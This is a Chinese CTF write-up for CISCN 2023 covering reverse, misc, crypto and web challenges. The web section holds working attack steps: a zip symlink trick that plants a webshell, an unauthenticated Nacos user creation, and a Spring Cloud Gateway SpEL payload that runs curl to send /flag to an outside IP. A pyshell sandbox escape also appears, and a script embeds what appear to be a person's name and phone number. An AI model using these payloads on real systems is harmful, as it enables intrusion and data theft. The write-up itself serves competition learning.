2023CISCN部分wp

发布时间 2023-06-19 10:47:07作者: FW_ltlly

re

mov不想写了

ezbyte

dwarf字节码执行

直接readelf -Wwf读取字节码

得到image-20230528162803555

最后让r12返回值为0

即四个表达式分别成立

所以

import re

print(hex((0^1237891274917891239^2616514329260088143)-1892739))
print(hex((0^1209847170981118947^8502251781212277489)-8971237))
print(hex((0^1098791727398412397^2451795628338718684)-1512312))
print(hex((0^1890878197237214971^8722213363631027234)-9123704))

然后大小端转换 hex转字符

image-20230528162943451

再加上elf文件中检测flag部分的最后四位即为flag

bytere

直接问AI

image-20230528163121933

image-20230528163128123

https://snap.berkeley.edu/snap/snap.html

在线运行

image-20230528163154785

image-20230528163213036

一个简单xor

手动输入enc

key=[10,102,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]

for i in range(1,len(key)-1):
    key[i] = key[i] ^ key[i-1]

print(key)
for x in key:
    print(chr(x),end="")

image-20230528163248740

misc

国粹

拿a,k两张图片中麻将的位置当作x,y

写脚本

使用cv2匹配相似度

import cv2
import matplotlib.pyplot as plt
import numpy as np
section_size = (53, 73)
lookup_table = []
first_image = cv2.imread("1.png")
for i in range(0, first_image.shape[1], section_size[0]):
    section = first_image[:, i:i + section_size[0], :]
    lookup_table.append(section)
a = cv2.imread("a.png")
k = cv2.imread("k.png")
for i in range(0, a.shape[1], section_size[0]):
    section_1 = a[:, i:i + section_size[0], :]
    section_2 = k[:, i:i + section_size[0], :]
    match_scores = []
    for template in lookup_table:
        match_scores.append(cv2.matchTemplate(section_1, template, cv2.TM_CCOEFF_NORMED))
    x_coord = np.argmax(match_scores)
    match_scores = []
    for template in lookup_table:
        match_scores.append(cv2.matchTemplate(section_2, template, cv2.TM_CCOEFF_NORMED))
    y_coord = np.argmax(match_scores)
    plt.scatter(y_coord, -x_coord, color='red')
plt.show()

image-20230528163514202

pyshell

fuzz一下发现长度能大于7,并且直接去掉等号,包括'='输入也不行

发现有exec和eval函数

但是exec()就是六位,所以考虑用一个变量存储字符串

搜索得到

image-20230528164107886

所以

""

_+'i'

_+'m'

可以将im存在_变量中

以此类推 导入os并执行os.system("cat /flag")

Crypto

基于国密SM2算法的密钥密

按照文档打即可

记得是新国密,gmssl库中应该指定mode=1

import pprint

import requests
from gmssl import sm2

url = "http://123.56.135.185:18573"
data = {
    "school": "成都理工大学",
    "name": "闫梓宇",
    "phone": "18832322189"
}
response = requests.post(url + "/api/login", json=data)
if response.status_code == 200:
    # print(response.json())
    print("Login successful!")
else:
    print("Login failed.")
id = response.json()['data']['id']
# 16进制的公钥和私钥

A_Private_Key = "75196FA0418ED0BB6722D7491224AF0AF9689C7492098F4BDF6D2A72DAD5F9C9"
A_Public_Key = 'F8D9A40C5D2AA0A436CE38D4935A1BE8AE656474F2C5A6C5A929670DA36C798B078E18B8D3E980C9D686608981FC8AD6DE02F1AEE19E7EEB322757C2E1D2CC8E'
# 上传公钥
data = {
    "id": id,
    "publicKey": A_Public_Key}
response = requests.post(url + "/api/allkey", json=data)
if response.status_code == 200:
    print("Send successful!")
else:
    print("Send failed.")
print(response.json())
sm2_crypt = sm2.CryptSM2(
    public_key=A_Public_Key, private_key=A_Private_Key, mode=1)

B_Public_Key = response.json()['data']['publicKey']
B_Private_Key_C = response.json()['data']['privateKey']
C_C = response.json()['data']['randomString']
print(C_C, "!!!!!!!")
C_C = bytes.fromhex(C_C)
C = sm2_crypt.decrypt(C_C)
print(C.hex())

print("B_Private_Key_C", B_Private_Key_C)
print("Bpublic", B_Public_Key)
print("randomSTR", C.hex())
assert len(C) == 16

from gmssl.sm4 import CryptSM4, SM4_DECRYPT

crypt_sm4 = CryptSM4()
crypt_sm4.set_key(C, SM4_DECRYPT)
B_Private_Key = crypt_sm4.crypt_ecb(bytes.fromhex(B_Private_Key_C))
assert len(B_Private_Key) == 32
B_Private_Key = B_Private_Key.hex().upper()
print("PRIVATEKEY", B_Private_Key)

sm2_crypt = sm2.CryptSM2(
    public_key=B_Public_Key, private_key=B_Private_Key, mode=1)
data = {
    "id": id
}
response = requests.post(url + "/api/quantum", json=data, timeout=10)
quantumString = response.json()['data']['quantumString']
quantumString = bytes.fromhex(quantumString)
res = sm2_crypt.decrypt(quantumString)

print(res)
assert len(res) == 16
data = {
    "id": id,
    "quantumString": res.hex().upper()
}
print(data)
response = requests.post(url + "/api/check", json=data)
print(response.json())

data = {
    "id": id,
}
response = requests.post(url + "/api/search", json=data)
pprint.pprint(response.json())

可信度量

非预期了

grep -r "flag{" / 2>/dev/null

然后cat即可

Sign_in_passwd

一个是url编码后的base64码表

一个是密文

直接在线网站解密即可

web

unzip

当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞

源码只判断了是不是zip,然后就解压,当名字一样的时候可以覆盖之前上传的文件

参考https://forum.butian.net/share/906的zipzip

先构造一个软链接指向/var/www/html

image-20230527114549377

此时test.zip解压出来的文件是软链接指向/var/www/html

接下来我们构造一个test目录(因为前面软链接的名字叫做test),我们在test目录下放一个webshell,然后打包这个目录

image-20230527114934988

那我们上传上去的test1.zip解压后就变成了test/shell.php,因为此时在目标机器上test是软链接指向了/var/www/html,所以我们的shell.php就上传到了/var/www/html中,访问getshell

image-20230527114332747

被加密的生产流量

直接wireshark打开,追踪modbus数据流

image-20230527142649581

MMYWMX3GNEYWOXZRGAYDA===

Base32解码,拿到flag

dumpit

首页给了几个传参形式,发现可以直接dump数据表

开始以为是注入,写文件,但是dump的话,应该是执行的是命令,可以换行注入,但是flag没有在/下,在env下

image-20230528121807421

BackendService

先打未授权添加用户

POST /nacos/v1/auth/users

username=demo&password=demo

然后看到包内配置了spring_cloud_gateway,之前在先知上看到了这个文章的

配置一个叫backcfg的data id

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://47.93.248.221:2333','-T','/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

然后访问了/echo/123(不知道需不需要这步,我有时候能打出来,有时候不行)

image-20230528131002345